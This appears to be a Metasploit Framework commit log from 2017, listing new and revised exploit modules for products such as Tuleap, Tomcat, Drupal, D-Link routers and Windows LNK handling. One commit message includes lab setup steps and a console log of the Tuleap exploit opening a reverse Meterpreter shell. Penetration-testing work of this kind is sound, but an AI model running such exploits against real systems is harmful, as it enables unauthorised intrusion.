eea72663b3
warn on method failure instead of error
2017-11-30 06:37:21 -06:00
9f12b794da
cleanup comments
2017-11-30 06:37:04 -06:00
5da34e8f2b
support RHOST/RPORT
2017-11-30 06:36:42 -06:00
59580195b4
resurrect old methods, try all 3
2017-11-30 06:16:05 -06:00
58897bf2fc
msftidy
2017-11-29 16:36:50 +08:00
7f1f7281f1
add local exploit for osx root login with no password
2017-11-29 16:06:02 +08:00
676a08b849
Update polycom_hdx_traceroute_exec.rb
2017-11-28 22:01:41 -05:00
2544b4d8db
Change target name
2017-11-28 21:39:04 -05:00
cb7f173811
Update office_ms17_11882.rb
2017-11-28 21:36:25 -05:00
d174ef3a70
Add wd_mycloud_multiupload_upload exploit
2017-11-28 07:12:00 -06:00
244acc48b6
Land #9212 , pfsense group member exec module
2017-11-27 11:27:29 -06:00
0d79a3a3e2
Add support to Windows .NET Server
2017-11-23 08:35:55 -02:00
bfd5c2d330
Keep the initial option name 'ADMIN_ROLE'
2017-11-22 22:03:56 +01:00
960893b99d
change default payload
2017-11-22 06:36:46 -05:00
a02a02cb0c
Fixed URL...
2017-11-22 11:31:23 +01:00
d21d3c140e
Fixed date
2017-11-22 11:15:34 +01:00
916ee05cce
Add exploit module for Clickjacking vulnerability in CSRF error page pfSense
2017-11-22 11:06:22 +01:00
879db5cf38
Land #9050 , @mpizala's improvements to the docker_daemon_tcp module
2017-11-21 17:13:24 -08:00
275f70e77e
better saving
2017-11-21 19:34:04 -05:00
db4c0fcca9
spelling
2017-11-21 19:02:14 -05:00
fcea6fd8d4
actually create new file ;-;
2017-11-21 15:00:06 -05:00
39a4d193a1
Create office_ms17_11882.rb
2017-11-21 14:47:02 -05:00
52356e00b7
Use stylistic suggestions from rubocop
2017-11-21 14:30:13 +01:00
dd8238d146
rubocop got a donut
2017-11-20 20:08:28 -05:00
dd57138423
Make external module read loop more robust
...
Changes from a "hope we get at most one message at a time" model to
something beginning to resemble a state machine. Also logs error output
and fails the MSF module when the external module fails.
2017-11-20 16:52:05 -06:00
579d012fa2
spelling
2017-11-19 08:36:27 -05:00
b7f7afb3be
version detect, 2.2.6 handling
2017-11-19 08:28:07 -05:00
2be3433bdb
Update references URLs
2017-11-17 13:27:35 +01:00
a636380e4b
Merge the new method into drupal_drupageddon.rb
2017-11-17 13:00:15 +01:00
704514a420
New exploit method for Drupageddon (CVE-2014-3704)
...
This new script exploits the same vulnerability as
*exploits/multi/http/drupal_drupageddon.rb*, but in a more efficient way.
2017-11-16 20:47:44 +01:00
f8891952c6
pfsense group member exec module
2017-11-15 21:00:58 -05:00
c740f4369c
Land #9197 , Cleanup Mako Server exploit
2017-11-15 15:01:31 -06:00
4219959c6d
Bump ranking to Excellent
2017-11-15 15:00:47 -06:00
829a7a53db
verbose response.
2017-11-15 12:27:40 -05:00
4918e5856d
Update polycom_hdx_traceroute_exec.rb
2017-11-15 10:41:51 -05:00
d93120e2ac
Create polycom_hdx_traceroute_exec.rb
2017-11-15 10:40:57 -05:00
33e5508bcb
bypass user namespaces
2017-11-15 15:14:58 +01:00
54936b6ac3
Updatig documentation and tweaking initiate_session
2017-11-15 01:04:06 +03:00
86e47589b0
Add xplico remote code execution
2017-11-14 09:30:57 +03:00
d28ae361ca
Added exploit module for Samsung SRN-1670D vuln CVE-2017-16524
...
Please find my exploit module for the vulnerability CVE-2017-16524 I discovered and tested on Web Viewer 1.0.0.193 on SAMSUNG SRN-1670D
2017-11-12 20:11:44 +01:00
f3e2f4d500
Land #9167 , D-Link DIR-850L exploit
2017-11-10 18:15:39 -06:00
3936d3baa1
Clean up module
2017-11-10 18:15:22 -06:00
971ec80fc1
Keep the python target
2017-11-10 23:11:27 +01:00
df2b62dc27
Add Mako Server CMD injection Linux support, update docs, move to multi
2017-11-10 16:28:39 -05:00
ea260e87b7
Remove headers, since we didn't send them before
...
http was an invalid key for setting headers, and we still got a shell.
These headers also don't seem relevant to the PUT request.
2017-11-09 11:06:50 -06:00
7213e6cc49
Fix #9133 , makoserver_cmd_exec cleanup
2017-11-09 10:52:03 -06:00
500bde1150
get_vars tweak
2017-11-09 04:16:34 -05:00
52888871e3
Land #8747 RCE for Geutebrueck GCore on Windows
2017-11-08 20:22:54 -05:00
7ad151e68b
gcore formatting update
2017-11-08 20:21:40 -05:00
a04bc0a25b
Add get_vars, remove a https instance
2017-11-08 16:30:59 -05:00
39916ef61a
Land #9133 , Command injection in Mako Server examples
2017-11-08 15:11:01 -06:00
d95b333ae9
Added exploit module for HP LoadRunner command exec vuln CVE-2010-1549.
2017-11-09 03:59:18 +11:00
b7c604f941
Land #9189 , s/patrick/aushack/g
2017-11-08 10:27:03 -06:00
5a07be9b96
Land #9041 , Add LPE on Windows using CVE-2017-8464
2017-11-08 10:09:03 -06:00
2f6da89674
Change author name to nick.
2017-11-09 03:00:24 +11:00
0a4ce1e87b
cmdstager build
...
Removes the need for HTTP Server, utilizes helper CmdStager, reduces module size.
2017-11-07 19:00:59 -05:00
6683ba501f
added one missing change
2017-11-07 20:05:43 +01:00
8963d77bca
multiple changes as requested by h00die
2017-11-07 20:00:56 +01:00
7173e7f4b4
Add CVE to module description
2017-11-07 11:05:14 -05:00
371f3c333a
This commit adds the jenkins_xstream_deserialize module
2017-11-07 09:46:42 -05:00
cfeb0b7bda
prefer threadsafe sleep here
2017-11-06 01:37:09 -06:00
897b5b5dd1
revert passive handler stance
2017-11-06 01:37:09 -06:00
7d1de9bc48
Fix removing the dropped files after exploitation
2017-11-04 18:50:20 -04:00
1758ed93d4
Update dlink_850l_unauth_exec.rb
2017-11-04 11:42:49 -04:00
724c5fb963
finish
2017-11-04 11:41:07 -04:00
e783cb59ea
add "check" & msftidy
2017-11-04 08:53:50 -04:00
84599ed3fc
Update dlink_850l_unauth_exec.rb
2017-11-04 07:58:13 -04:00
cddec8ca6c
download creds, stores in loot.
2017-11-03 14:24:45 -04:00
32a75e9782
Update dlink_850l_unauth_exec.rb
2017-11-03 09:02:48 -04:00
705c1cc6a7
Redo Functions
2017-11-03 08:33:42 -04:00
8c0da8ea90
Update dlink_850l_unauth_exec.rb
2017-11-03 06:24:07 -04:00
af583e843c
Update dlink_850l_unauth_exec.rb
2017-11-03 06:21:59 -04:00
697031eb36
mysql UDF now multi
2017-11-03 05:26:05 -04:00
5b7d803f85
Update dlink_850l_unauth_exec.rb
2017-11-02 15:57:03 -04:00
429ac71a63
header
2017-11-02 15:53:45 -04:00
61a67efb82
annnd....it sucks
2017-11-02 15:53:09 -04:00
70033e2b94
Enable the payload handler by default
2017-11-02 12:31:54 -04:00
a15b61a218
Fix #9160 , exploit method from TcpServer
...
It already starts the server and waits for us. This is what was called
when the module was still auxiliary.
2017-11-01 19:26:00 -05:00
87934b8194
Convert tnftp_savefile from auxiliary to exploit
...
This has been a long time coming. Fixes #4109 .
2017-11-01 17:37:41 -05:00
7a09dcb408
Fix #9109 , HttpServer (TcpServer) backgrounding
2017-11-01 13:35:04 -05:00
e3ac6b8dc2
Land #9109 , wp-mobile-detector upload and execute
2017-11-01 13:25:16 -05:00
3847a68494
Clean up module
2017-11-01 13:23:32 -05:00
0973bfb922
Update tuleap_rest_unserialize_exec.rb
2017-11-01 16:37:14 +01:00
6985e1b940
Add module for CVE-2017-7411: Tuleap <= 9.6 Second-Order PHP Object Injection
...
This PR contains a module to exploit [CVE-2017-7411](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7411 ), a Second-Order PHP Object Injection vulnerability in Tuleap before version 9.7 that might allow authenticated users to execute arbitrary code with the permissions of the webserver. The module has been tested successfully with Tuleap versions 9.6, 8.19, and 8.8 deployed in a Docker container.
## Verification Steps
The quickest way to install an old version of Tuleap is through a Docker container. So install Docker on your system and go through the following steps:
1. Run `docker volume create --name tuleap`
2. Run `docker run -ti -e VIRTUAL_HOST=localhost -p 80:80 -p 443:443 -p 22:22 -v tuleap:/data enalean/tuleap-aio:9.6`
3. Run the following command in order to get the "Site admin password": `docker exec -ti <container_name> cat /data/root/.tuleap_passwd`
4. Go to `https://localhost/account/login.php ` and log in as the "admin" user
5. Go to `https://localhost/admin/register_admin.php?page=admin_creation ` and create a new user (NOT Restricted User)
6. Open a new browser session and log in as the newly created user
7. From this session go to `https://localhost/project/register.php ` and make a new project (let's name it "test")
8. Come back to the admin session, go to `https://localhost/admin/approve-pending.php ` and click on "Validate"
9. From the user session you can now browse to `https://localhost/projects/test/ ` and click on "Trackers" -> "Create a New Tracker"
10. Make a new tracker by choosing e.g. the "Bugs" template, fill all the fields and click on "Create"
11. Click on "Submit new artifact", fill all the fields and click on "Submit"
12. You can now test the MSF module by using the user account created at step n.5
NOTE: successful exploitation of this vulnerability requires an user account with permissions to submit a new Tracker artifact or access already existing artifacts, which means it might be exploited also by a "Restricted User".
## Demonstration
```
msf > use exploit/unix/webapp/tuleap_rest_unserialize_exec
msf exploit(tuleap_rest_unserialize_exec) > set RHOST localhost
msf exploit(tuleap_rest_unserialize_exec) > set USERNAME test
msf exploit(tuleap_rest_unserialize_exec) > set PASSWORD p4ssw0rd
msf exploit(tuleap_rest_unserialize_exec) > check
[*] Trying to login through the REST API...
[+] Login successful with test:p4ssw0rd
[*] Updating user preference with POP chain string...
[*] Retrieving the CSRF token for login...
[+] CSRF token: 089d56ffc3888c5bc90220f843f582aa
[+] Login successful with test:p4ssw0rd
[*] Triggering the POP chain...
[+] localhost:443 The target is vulnerable.
msf exploit(tuleap_rest_unserialize_exec) > set PAYLOAD php/meterpreter/reverse_tcp
msf exploit(tuleap_rest_unserialize_exec) > ifconfig docker0 | grep "inet:" | awk -F'[: ]+' '{ print $4 }'
msf exploit(tuleap_rest_unserialize_exec) > set LHOST 172.17.0.1
msf exploit(tuleap_rest_unserialize_exec) > exploit
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Trying to login through the REST API...
[+] Login successful with test:p4ssw0rd
[*] Updating user preference with POP chain string...
[*] Retrieving the CSRF token for login...
[+] CSRF token: 01acd8380d98c587b37ddd75ba8ff6f7
[+] Login successful with test:p4ssw0rd
[*] Triggering the POP chain...
[*] Sending stage (33721 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:56572) at 2017-11-01 16:07:01 +0100
meterpreter > getuid
Server username: codendiadm (497)
```
2017-11-01 16:09:14 +01:00
b96fa690a9
Add brackets to print functions
2017-10-27 15:23:22 -04:00
037c58d1f6
wp-mobile-detector udpates
2017-10-27 10:10:04 -04:00
8613852ee8
Add Mako Server v2.5 command injection module/docs
2017-10-26 23:29:11 -04:00
43b67fe80b
remove errant bracket, formatting update
2017-10-26 15:01:53 -05:00
f2cba8d920
Land #8933 , Web_Delivery - Merge regsvr32_applocker_bypass_server & Add PSH(Binary)
...
This restores the original PR
2017-10-25 16:29:11 -05:00
ca28abf2a2
Revert "Land #8933 , Web_Delivery - Merge regsvr32_applocker_bypass_server & Add PSH(Binary)"
...
This reverts commit 4999606b614274b76473
2017-10-25 16:19:14 -05:00
0a858cdaa9
Revert "fix my comments from #8933"
...
This reverts commit 02a2839577
2017-10-25 16:13:00 -05:00
02a2839577
fix my comments from #8933
2017-10-25 14:46:41 -05:00
4999606b61
Land #8933 , Web_Delivery - Merge regsvr32_applocker_bypass_server & Add PSH(Binary)
2017-10-25 12:44:04 -05:00
7fd7337d30
Refactor send_request_cgi request
2017-10-24 13:19:17 +02:00
0ac7e0926c
Add entry_id verification; clean up http request calls
2017-10-23 15:19:35 +02:00
30a86a1204
Add Kaltura <= 13.1.0 RCE (CVE-2017-14143)
2017-10-23 12:18:54 +02:00
df14dc4452
autodetection fixing
2017-10-23 09:07:46 +02:00
210f6f80b7
netgear1000dng cleanup
2017-10-22 22:17:40 -04:00
eff94be951
Update netgear_dgn1000_setup_unauth_exec.rb
2017-10-22 16:55:40 -04:00
6f37bbb1d6
fix EDB
2017-10-22 16:11:19 -04:00
c7e35f885b
add disc date
2017-10-21 20:13:25 -04:00
e0831c1053
hopefully fix header..?
2017-10-21 18:38:32 -04:00
8239d28323
fix header
2017-10-21 09:07:18 -04:00
cfd7761818
wp_mobile_detector rce
2017-10-20 23:19:58 -04:00
40e508f2ad
correct mistake
2017-10-20 22:26:54 -04:00
ac21567743
Fix requested changes
2017-10-20 22:17:04 -04:00
b255ddf8d6
New NETGEAR module
2017-10-20 20:25:11 -04:00
2f371c9784
Netgear MODULE UNAUTH
2017-10-20 20:15:36 -04:00
2e376a1b6a
Merge remote-tracking branch 'upstream/master' into netgear_dgn1000_unauth_setup_exec
2017-10-20 20:13:29 -04:00
f250e15b6e
Land #9105 rename psh to polycom for name collision
2017-10-20 20:10:57 -04:00
fd028338e1
move psh to polycom so no more powershell name collision
2017-10-20 20:08:11 -04:00
5a6da487ab
Land #9043 two exploit modules for unitrends backup
2017-10-20 20:00:35 -04:00
5abdfe3e59
ueb9 style cleanup
2017-10-20 19:59:24 -04:00
c26779ef54
fixed msftidy issues
2017-10-20 14:39:39 -06:00
8f622a5003
Update ueb9_bpserverd.rb
2017-10-20 14:35:03 -06:00
cce7bf3e19
Update ueb9_bpserverd.rb
2017-10-20 14:33:46 -06:00
85152b5f1e
added check function
2017-10-20 14:28:52 -06:00
e9ad5a7dca
Update ueb9_api_storage.rb
2017-10-20 14:05:15 -06:00
16b6248943
Update ueb9_bpserverd.rb
2017-10-20 13:58:12 -06:00
5c0bcd8f0a
Update ueb9_bpserverd.rb
2017-10-20 13:56:25 -06:00
abc749e1e8
Update ueb9_api_storage.rb
2017-10-20 13:48:29 -06:00
8febde8291
Update ueb9_api_storage.rb
2017-10-20 12:23:53 -06:00
7cd532c384
Change targetr to target to fix small typo bug on one failure
...
The target object seems to have a typo where it is referred to as
“targetr” which I’d guess isn’t exactly what we’d like to do in this
case. So, I’ve changed that to “target” in order to work.
So, I’ve simply fixed that small typo.
2017-10-19 19:55:58 -04:00
04a24e531b
New module
2017-10-18 21:37:26 -04:00
c67a5872cd
Land #9055 , Add exploit for Sync Breeze HTTP Server
...
Land #9055
2017-10-13 17:34:03 -05:00
3a2c6128be
Support automatic targeting
2017-10-13 16:53:22 -05:00
294230c455
Land #8509 , add Winsxs bypass for UAC
2017-10-11 16:24:52 -05:00
cfaa34d2a4
more style cleanup for tomcat_jsp_upload_bypass
2017-10-11 15:53:35 -05:00
9885dc07f7
updates for style
2017-10-11 15:29:47 -05:00
1786634906
Land #9059 , Tomcat JSP Upload via PUT Bypass
2017-10-11 15:05:00 -05:00
03e7797d6c
fixed msftidy errors and added documentation
2017-10-11 07:57:01 -04:00
e976a91b15
land #9053 RCE for rend micro imsva
2017-10-10 19:27:06 -04:00
a4bc3ea3c2
Merge branch 'pr9032' into upstream-master
...
Land #9032 , Improve CVE-2017-8464 LNK exploit
Land #9032
2017-10-10 17:11:51 -05:00
fb16f1fbda
Disabling bind type payloads
2017-10-10 09:37:24 +03:00
facc38cde1
set timeout for DELETE request
2017-10-09 21:53:31 -04:00
a2d32b460c
Fixing grammer issue
2017-10-09 22:31:13 +03:00
c14c93d450
Integrate OfficeScan 11 exploitation and fix grammer issues
2017-10-09 22:11:42 +03:00
ef282ea154
Sync Breeze HTTP Server v10.0.28 BOF
...
Added support for v10.0.28 to Sync Breeze BOF module
2017-10-09 13:50:24 -04:00
fc5ab96ad6
Merging to prep for testing
...
Merge branch 'master' of github.com:rapid7/metasploit-framework into upstream-master
2017-10-09 10:31:30 -05:00
7df18e378d
Fix conflicts in PR 8509 by mergeing to master
2017-10-09 10:30:21 -05:00
6d28a579f3
send_request_cgi instead of send_request_raw
2017-10-09 13:12:48 +02:00
be8680ba3d
Create tomcat_jsp_upload_bypass.rb
...
Created a module for CVE-2017-12617 which uploads a jsp payload and executes it.
2017-10-08 21:48:47 -04:00
395c82050b
Adding Trend Micro IMSVA Widget RCE
2017-10-08 18:15:32 +03:00
79c9123261
Adding Trend Micro OfficeScan widget rce module
2017-10-08 17:54:18 +03:00
33ec3c3d69
Error handling and style
2017-10-08 13:51:16 +02:00
d8ff99b1f6
Change to ARCH_X64, remove python dependency
2017-10-08 13:51:07 +02:00
7a87e11767
land #8781 Utilize Rancher Server to exploit hosts
2017-10-07 13:04:34 -04:00
b7184e87c0
fixing a type
2017-10-07 14:16:01 +02:00
8d50c34e4b
codefixing
2017-10-07 14:06:58 +02:00
34d119be04
Payload space, error handling and style"
2017-10-07 01:12:24 +02:00
d9e0d891a1
Land #9010 , Remove checks for hardcoded SYSTEM account name
2017-10-06 13:42:18 -05:00
7535fe255f
land #8736 RCE for orientdb
2017-10-06 14:35:42 -04:00
752d21e11c
forgot a comma
2017-10-06 10:47:42 -06:00
63e3892392
fixed issues identified by msftidy
2017-10-06 10:16:01 -06:00
78e262eabd
fixed issues identified by msftidy
2017-10-06 10:15:30 -06:00
36610b185b
initial commit for UEB9 exploits - CVE-2017-12477, CVE-2017-12478
2017-10-06 09:38:33 -06:00
770547269b
added documentation, and fixed 4 to 2 indentation
2017-10-06 15:39:25 +02:00
9d2e8b1e4d
Land #8003 , Evasions for delivering nops/shellcode into memory
2017-10-05 16:44:36 -05:00
e4d99a14b6
Fix EXITFUNC back to process for the RCE too
2017-10-05 11:38:08 -04:00
4729c885f1
Cleanup the CVE-2017-8464 LPE module
2017-10-05 11:10:37 -04:00
d0ebfa1950
Change the template technicque to work as an LPE
2017-10-05 10:30:28 -04:00
825ad940e6
Update the advanced option names and a typo
2017-10-05 10:16:31 -04:00
482ce005fd
Update the advanced option names and a typo
2017-10-05 10:11:00 -04:00
7400082fdb
Land #9040 , Add CVE and Vendor article URL to the denyall_waf_exec module
2017-10-04 09:12:48 -05:00
110f3c9b4a
Add cve and vendor article to the denyall_waf_exec module
2017-10-04 12:11:58 +03:00
10dafdcb12
Fix #9036 , broken refs in bypassuac_comhijack
...
Each ref needs to be an individual array.
2017-10-03 13:36:29 -05:00
9ff6efd3a3
Remove broken link
2017-10-02 20:43:55 +05:30
e3326e1649
Use send_request_cgi instead of raw
2017-10-01 02:15:43 +02:00
701d628a1b
Features for selecting the target
2017-10-01 02:04:10 +02:00
f2f48cbc8f
Update the CVE-2017-8464 module
2017-09-30 18:25:16 -04:00
9b75ef7c36
Land #8343 , qmail Shellshock module
2017-09-29 00:28:30 -05:00
daedf0d904
Clean up module
2017-09-29 00:27:22 -05:00
3a1a437ac7
Rubocop Stlye
2017-09-28 23:53:45 +02:00
40c58e3017
Function for selecting the target host
2017-09-28 23:43:59 +02:00
cc98e80002
Change arch to ARCH_X64
2017-09-28 20:50:18 +02:00
41e3895424
remove checks for hardcoded name
2017-09-27 07:41:06 +02:00
98ae054b06
Land #8931 , Node.js debugger exploit
2017-09-25 14:00:13 -05:00
1ee590ac07
Move over to rex-powershell and version bump
...
Version bump for:
- https://github.com/rapid7/rex-powershell/pull/10
- https://github.com/rapid7/rex-powershell/pull/11
2017-09-25 13:45:06 +01:00
4d1e51a0ff
Land #8906 RCE for supervisor
2017-09-24 08:03:30 -04:00
9528f279a5
cleaned up version, and docs
2017-09-23 10:51:52 -04:00
e8eeb784e4
Land #8960 , spelling/grammar fixes part 3
2017-09-22 18:51:31 -05:00
8de6fa79c1
Tweakz, yo.
2017-09-22 18:49:09 -05:00
d56fffcadf
Land #8974 , spelling/grammar fixes part 4. Finished.
2017-09-22 14:59:28 -05:00
3d543b75f5
Fixing typos and replacing double quotes with single
2017-09-21 23:48:12 +03:00
1031d7960a
Moving token extraction to the seperated function
2017-09-20 10:23:32 +03:00
ee969ae8e5
Adding DenyAll RCE module
2017-09-19 14:53:37 +03:00
c90f885938
Finished spelling issues
2017-09-17 16:00:04 -04:00
d5362333e2
Land #8958 , Add Disk Pulse Enterprise web server buffer overflow
2017-09-15 13:34:22 -05:00
30f833f684
80 pages left
2017-09-13 22:03:34 -04:00
52385f4d9e
fix formatting to fit rubocop
2017-09-13 11:46:57 -05:00
b8c40a9d95
Clean up formatting
2017-09-13 11:13:33 -05:00
3c204f91ef
Correct module title
2017-09-13 11:02:13 -05:00
65f2ee9109
added generate_seh_record
2017-09-13 10:56:32 -05:00
7db506887b
Add exploit code
2017-09-13 10:36:36 -05:00
eb0d174987
Add disk_pulse_enterprise_get module
2017-09-13 10:19:24 -05:00
7b87915e1f
Land #8923 , Add additional error checking to mssql_clr_payload module
2017-09-11 17:39:33 -05:00
5f66b7eb1a
Land #8940 , @h00die's second round of desc fixes
...
One ninja edit along the way as well.
2017-09-11 13:05:13 -05:00
cfbd3c1615
Fix spelling of Honeywell
2017-09-11 13:02:18 -05:00
ba880d1a85
Changes to mssql_clr_payload error handling based on code review
2017-09-10 14:15:39 -05:00
2966fb7c8c
Accept @shawizard suggestion for formatting msg_body
2017-09-10 11:23:52 -07:00
7339658ba9
224 pages of spelling issues left
2017-09-09 09:52:08 -04:00
6289cc0b70
Merge branch 'spellin' of https://github.com/h00die/metasploit-framework into spellin
2017-09-08 22:20:39 -04:00
0910c482a9
35 pages of spelling done
2017-09-08 22:19:55 -04:00
8f864c27e3
Land #8924 , Add Apache Struts 2 REST Plugin XStream RCE
2017-09-08 13:59:52 -05:00
54a62976f8
update versions and add quick module docs
2017-09-08 13:59:29 -05:00
978fdb07b0
Comment out PSH target and explain why
...
I hope we can fix the PSH target in the future, but the Windows dropper
works today, and you can specify a custom EXE if you really want.
2017-09-08 13:41:06 -05:00
c91ef1f092
Land #8768 , Add Docker Daemon TCP exploit module
2017-09-08 12:50:00 -05:00
2ebf53b647
Minor tweaks...
2017-09-08 10:04:47 -05:00
00c593e0a2
55 pages of spelling done
2017-09-07 21:18:50 -04:00
a9a307540f
Assign cmd to entire case and use encode for XML
...
Hat tip @acammack-r7. Forgot about that first syntax!
2017-09-07 19:36:08 -05:00
8f1e353b6e
Add Apache Struts 2 REST Plugin XStream RCE
2017-09-07 19:30:48 -05:00
7e9d0b3e9b
Fix permissions in docker priv_esc module
...
The previous command didn't give the original user enough permissions
to execute the payload. This was resulting in permission denied
and preventing me from getting a root shell.
Fixes #8937
2017-09-07 16:48:02 -05:00
accb77d268
Add PSH (Binary) as a target to web_delivery
2017-09-07 10:55:29 +01:00
5d009c8d0b
remove dead code
2017-09-06 23:21:56 -07:00
048316864c
remove redundant return
2017-09-06 23:01:13 -07:00
97d08e0da4
fix reviewer comments
2017-09-06 22:53:02 -07:00
d71f7876b8
initial commit of nodejs debugger eval exploit
2017-09-06 22:29:24 -07:00
96f7012fe7
Code clean up (URLs, ordering and printing)
2017-09-06 13:17:28 +01:00
b884705a93
regsvr32_applocker_bypass_server -> web_delivery
2017-09-06 12:35:52 +01:00
e7b4cb71b1
Add PSH-Proxy to multi/script/web_delivery
2017-09-06 12:27:04 +01:00
be66ed8af3
Land #8788 exploits for Gh0st and PlugX malware controllers
2017-09-05 20:42:07 -04:00
44fb059cea
Add error checking to mssql_clr_payload
...
Additional error checking had been added to exploits/windows/mssql/mssql_clr_payload
If an error is encountered when changing the trustworthy or clr setting, the exploit fails with a message.
2017-09-05 18:48:22 -05:00
d05c401866
modules cleanup and add docs
2017-09-04 20:57:23 -04:00
6051a1a1c1
Land #8910 , Use meta redirect instead of JS redirect in 2 modules
2017-09-01 13:50:02 -05:00
86db2a5771
Land #8888 from @h00die, with two extra fixes
...
Fixes spelling and grammar in a bunch of modules. More to come!
2017-08-31 14:37:02 -05:00
642a13e820
Out out damn tick
2017-08-31 14:29:05 -05:00
49173818fd
Addresses #8674
...
This type of redirection will work without javascript being enabled.
Modules:
multi/browser/firefox_xpi_bootstrapped_addon
multi/browser/itms_overflow
More info on the meta element:
https://developer.mozilla.org/en-US/docs/Web/HTML/Element/meta
2017-08-30 23:16:46 -05:00
3b745bd17c
Rework the bash, redirect stdout/err to /dev/null
...
Dont need the -
2017-08-30 03:49:30 +01:00
9387a765e5
Fix msftidy warns/errs
2017-08-30 03:10:46 +01:00
4934023fa5
Use alternate system() payload, dont worry about restarts
...
Use nohup and & to background the meterpreter process
2017-08-30 03:10:46 +01:00
d53f10554d
Configurable restart command
2017-08-30 03:10:46 +01:00
d0ff2694b3
Restart after payload process ends
2017-08-30 03:10:46 +01:00
aee44e3bd2
Working meterpreter exploit
...
No service restart
2017-08-30 03:10:46 +01:00
7cfb5fcc97
Rename
2017-08-30 03:10:46 +01:00
8b67b710fa
Add template
2017-08-30 03:10:46 +01:00
202c936868
Land #8826 , git submodule remote command execution
2017-08-29 18:11:32 -05:00
46eeb1bee0
update style
2017-08-29 17:44:39 -05:00
39299c0fb8
randomize submodule path
2017-08-29 16:54:08 +08:00
a40429158f
40% done
2017-08-28 20:17:58 -04:00
8f17d536a7
Update phpmailer_arg_injection.rb
...
Removed second parameter as it was not necessary. Only changed needed was to change "send_request_cgi" to "send_request_cgi!"
2017-08-24 00:29:28 -06:00
c49b72a470
Follow 301 re-direct
...
I found that in some cases, the trigger URL cannot be accessed directly. For example, if the uploaded file was example.php, browsing to "example.php" would hit a 301 re-direct to "/example". It isn't until hitting "/example" that the php is executed. This small change will just allow the trigger to follow one 301 redirect.
2017-08-23 18:53:54 -06:00
821121d40b
Land #8871 , improve compatibility and speed of JDWP exploit
2017-08-23 18:53:47 -05:00
4c285c0129
Land #8827 , QNAP Transcode Server RCE
2017-08-22 23:07:01 -05:00
128949217e
more osx
2017-08-22 16:48:09 -05:00
bb120962aa
more osx support
2017-08-22 14:01:48 -05:00
7263c7a66e
add 64-bit, osx support
2017-08-22 13:51:28 -05:00
e01caac9ed
removing slice operators from jdwp_debugger
2017-08-21 16:36:54 -05:00
edbe8d73c2
Revert "Revert passive stance for multi/handler"
...
This reverts commit 66a4ea4f0b
2017-08-21 16:14:23 -05:00
eabe4001c2
Land #8492 , Add IBM OpenAdmin Tool SOAP welcomeServer PHP Code Execution module
2017-08-20 18:48:22 -05:00
367c760927
window move is now directly in the template
2017-08-20 17:48:59 -05:00
e734a7923a
Land #8267 , Handle multiple entries in PSModulePath
2017-08-20 17:44:30 -05:00
1225555125
remove unnecessary require
2017-08-20 17:37:42 -05:00
840c0d5f56
Land #7808 , add exploit for VMware VDP with known ssh private key (CVE-2016-7456)
2017-08-20 17:36:45 -05:00
88f39d924b
Land #8816 , added Jenkins v2 cookie support
2017-08-20 14:58:38 -05:00
2eba188166
Land #8789 , Add COM class ID hijack method for bypassing UAC
2017-08-20 13:57:17 -05:00
e8ab518d76
Land #8853 , Revert passive stance for multi/handler
2017-08-19 22:04:26 -05:00
66a4ea4f0b
Revert passive stance for multi/handler
...
It's gotten to be a bit annoying. ExitOnSession=false was good, but this
was too much. Typing run -j isn't difficult.
2017-08-18 13:16:12 -05:00
d659cdc8f6
Convert quest_pmmasterd_bof to cmd_interact/find
2017-08-18 00:19:09 -05:00
ac976eee8e
Add author
2017-08-15 03:27:40 +00:00
b8f56d14e0
Land #8698 , Add HEADERS to php_eval module
2017-08-14 09:54:22 -04:00
26193216d1
Land #8686 , add 'download' and simplified URI request methods to http client mixin
...
Updated PDF author metadata downloader to support the new methods.
2017-08-14 01:40:17 -04:00
7d4561e0fd
rename to download_log to avoid conflicting with the mixin
2017-08-14 01:10:37 -04:00
0a374b1a88
Add QNAP Transcode Server Command Execution exploit module
2017-08-13 09:13:56 +00:00
7881a7ddc4
git submodule command exec
2017-08-13 11:47:44 +08:00
7e860571ae
fix bug where api_token auth was being used without token being set
2017-08-09 12:30:26 -04:00
9bb102d72d
add jenkins v2 cookie support
2017-08-09 12:29:31 -04:00
2383afd8dc
Fix improved error handling
2017-08-04 23:42:44 +02:00
7ce813ae6e
Land #8767 , Add exploit module for CVE-2017-8464
...
LNK Code Execution Vulnerability
2017-08-03 17:10:16 -05:00
da3ca9eb90
update some documentation
2017-08-03 17:09:44 -05:00
ddd841c0a8
code style cleanup + add automatic targeting based on payload
2017-08-03 00:27:54 -05:00
b62429f6fa
handle drive letters specified like E: nicely
2017-08-03 00:27:22 -05:00
46ec04dd15
Removed This PC ItemID & increased timeout in WaitForSingleObject
...
Remove the This PC ItemID to bypass (some) AV.
Timeout for WaitForSingleObject is set to 2,5s. After this timeout a
mutex is released allowed a new payload to be executed.
2017-08-02 15:47:22 -05:00
e51e1d9638
Added new DLL templates to prevent crashing of Explorer
2017-08-02 15:47:21 -05:00
3229320ba9
Code review feedback from @nixawk
2017-08-02 15:46:51 -05:00
565a3355be
CVE-2017-8464 LNK Remote Code Execution Vulnerability
...
This module exploits a vulnerability in the handling of Windows
Shortcut files (.LNK) that contain a dynamic icon, loaded from a
malicious DLL.
This vulnerability is a variant of MS15-020 (CVE-2015-0096). The
created LNK file is similar except in an additional
SpecialFolderDataBlock is included. The folder ID set in this
SpecialFolderDataBlock is set to the Control Panel. This is enought to
bypass the CPL whitelist. This bypass can be used to trick Windows into
loading an arbitrary DLL file.
2017-08-02 15:46:30 -05:00
b78cb12546
Ruby 2.2 support. See #8792
2017-08-02 18:06:48 +02:00
6f97e45b35
enable Ruby 2.2 compat checks in Rubocop, correct multi/handler compat
2017-08-02 06:18:02 -05:00
54ded4300e
Land #8791 - Update Accuvant refs to point to Optiv
2017-08-02 13:26:52 +10:00
8989d6dff2
Modified Accuvant bog posts to the new Optive urls
2017-08-02 13:25:17 +10:00
bb2304a2d1
Land #8769 , improve style, compatibility, for ssh modules
2017-08-01 21:43:32 -05:00
1d75a30936
update style for other ssh exploits
2017-08-01 16:05:25 -05:00
8c9fb1d529
remove unneeded netssh checks in modules
2017-08-01 14:46:10 -05:00
4395f194b1
fixup style warnings in f5 bigip privkey exploit
2017-08-01 14:45:05 -05:00
e61cccda0b
Land #8779 , Adding error handler for ms17-010 exploit where SMBv1 is disabled
2017-08-01 14:00:12 -05:00
6ee5d83a15
Add the COM hijack method for bypassing UAC
2017-07-31 14:26:39 +10:00
055d64d32b
Fixed to modules as suggested from upstream
...
fixed typo in xtreme.rb when communicating with C&C
